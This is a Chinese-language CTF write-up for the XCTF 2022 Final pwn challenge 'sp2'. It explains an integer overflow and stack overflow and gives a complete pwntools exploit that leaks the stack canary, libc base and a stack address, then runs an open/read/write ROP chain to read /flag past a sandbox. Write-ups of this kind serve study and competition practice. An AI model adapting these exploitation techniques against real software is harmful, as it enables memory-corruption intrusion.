XCTF 2022 Final - sp2
🧲

XCTF 2022 Final - sp2

Tags
Pwn
CTF
Published
March 31, 2023
Author
Mas0n
 
🤣
这个题目在XCTF Final KoH环节是被作为竞速赛题出的,当时看一眼就知道是简单的整数溢出和栈溢出,不过队内Web大师傅太给力了直接秒题进入下一环节,直接看KoH去了,赛后复现一下。
 
题目给了libc
canary + nx + pie
notion image
开了沙箱,只能orw
notion image
很明显是个整数溢出 + 栈溢出
notion image
一共有四次循环,思路:
leak canary
leak libc 寻找所需的gadgets
leak stack address 构造一个 /flag\x00
填充canary 并构造 rop chain 实现orw
先放脚本
from pwn import * from icecream import ic import time context.terminal = ['tmux', 'splitw', '-h'] context(log_level='debug') context.arch = 'amd64' context.endian = 'little' gen_gdb_breakpoint = lambda f: "".join([f'b *{hex(i)}\n' for i in f])[:-1] gen_gdb_rebase_breakpoint = lambda f: "".join([f'b *$rebase({hex(i)})\n' for i in f])[:-1] gen_continue = lambda count=1: "".join([f'\nc\n' for i in range(count)])[:-1] p = process(['./sp2'], aslr=True) libc = ELF('./libc.so.6') # send sd = lambda m : p.send(m) sda = lambda a, m : p.sendafter(a, m) sdl = lambda m : p.sendline(m) sdls = lambda m : p.sendlines(m) sdla = lambda a, m : p.sendlineafter(a, m) # recv rv = lambda n=None: p.recv(n) rvn = lambda n : p.recvn(n) rvu = lambda m : p.recvuntil(m, drop=True) rvl = lambda : p.recvline() # p pi = lambda : p.interactive() # gdb attach gab = lambda *f : gdb.attach(p, gen_gdb_breakpoint(f)) gabr = lambda *f : gdb.attach(p, gen_gdb_rebase_breakpoint(f)) # ! 1. leak canary sda(b'size> ', str(0x8200).encode()) sleep(0.1) payload = cyclic(0x110 - 8) payload += cyclic(0x1) sd(payload) leak_canary = rv()[len(payload):][:7].rjust(8, b'\x00') ic(hex(u64(leak_canary))) # ! 2. leak libc sleep(0.1) sd(str(0x8200).encode() + b'a' * (0xf - 5)) payload = cyclic(0x110) payload += cyclic(0x8) sd(payload) leak_libc_main = rv()[len(payload):][:6].ljust(8, b'\x00') ic(hex(u64(leak_libc_main))) libc.address = u64(leak_libc_main) - 128 - libc.sym['__libc_start_main'] # 页对齐 libc.address % 0x1000 == 0 libc.address = libc.address - libc.address % 0x1000 + 0x1000 ic(hex(libc.address)) pop_rax_ret = libc.address + 0x045eb0 pop_rdi_ret = libc.address + 0x02a3e5 pop_rsi_ret = libc.address + 0x02be51 pop_rdx_rbx_ret = libc.address + 0x090529 syscall_ret = libc.address + 0x09D549 # ! 3. leak stack address sleep(0.1) sd(str(0x8200).encode() + b'a' * (0xf - 5)) payload = cyclic(0x110) payload += cyclic(0x8 * 8) sd(payload) leak_stack_addr = rv()[len(payload):][:6].ljust(8, b'\x00') leak_stack_addr = u64(leak_stack_addr) leak_stack_addr -= 0x228 ic(hex(leak_stack_addr)) # * rop chain """ open("/flag", 0, 0) read(3, leak_stack_addr, 0x100) write(1, leak_stack_addr, 0x100) """ rop = flat([ pop_rax_ret, constants.SYS_open, pop_rdi_ret, leak_stack_addr, pop_rsi_ret, 0, pop_rdx_rbx_ret, 0, 0, syscall_ret, pop_rax_ret, constants.SYS_read, pop_rdi_ret, 3, pop_rsi_ret, leak_stack_addr, pop_rdx_rbx_ret, 0x100, 0, syscall_ret, pop_rax_ret, constants.SYS_write, pop_rdi_ret, 1, pop_rsi_ret, leak_stack_addr, pop_rdx_rbx_ret, 0x100, 0, syscall_ret, ]) # ! 4. restore canary sleep(0.1) sd(str(0x8200).encode() + b'a' * (0xf - 5)) payload = b'/flag'.ljust(8, b'\x00') payload += cyclic(0x110 - 8 - 8) payload += leak_canary payload += cyclic(0x8) payload += rop sd(payload) pi()

leak canary

canary 低字节为\x00 所以栈溢出覆盖掉\x00 就能拿到canary
# ! 1. leak canary sda(b'size> ', str(0x8200).encode()) sleep(0.1) payload = cyclic(0x110 - 8) payload += cyclic(0x1) sd(payload) leak_canary = rv()[len(payload):][:7].rjust(8, b'\x00') ic(hex(u64(leak_canary)))

leak libc

从return addr 栈溢出拿到 _libc_start_main 继而拿到libc address
notion image

rop chain

比较容易,libc中有大量gadgets,恢复下canary 构造rop chain完事
# * rop chain """ open("/flag", 0, 0) read(3, leak_stack_addr, 0x100) write(1, leak_stack_addr, 0x100) """ rop = flat([ pop_rax_ret, constants.SYS_open, pop_rdi_ret, leak_stack_addr, pop_rsi_ret, 0, pop_rdx_rbx_ret, 0, 0, syscall_ret, pop_rax_ret, constants.SYS_read, pop_rdi_ret, 3, pop_rsi_ret, leak_stack_addr, pop_rdx_rbx_ret, 0x100, 0, syscall_ret, pop_rax_ret, constants.SYS_write, pop_rdi_ret, 1, pop_rsi_ret, leak_stack_addr, pop_rdx_rbx_ret, 0x100, 0, syscall_ret, ]) # ! 4. restore canary sleep(0.1) sd(str(0x8200).encode() + b'a' * (0xf - 5)) payload = b'/flag'.ljust(8, b'\x00') payload += cyclic(0x110 - 8 - 8) payload += leak_canary payload += cyclic(0x8) payload += rop sd(payload)

几个坑

leak libc需要页对齐即 address % 0x1000 == 0
这题read nbytes 太大需要开aslr不然栈空间不够,read会直接返回-1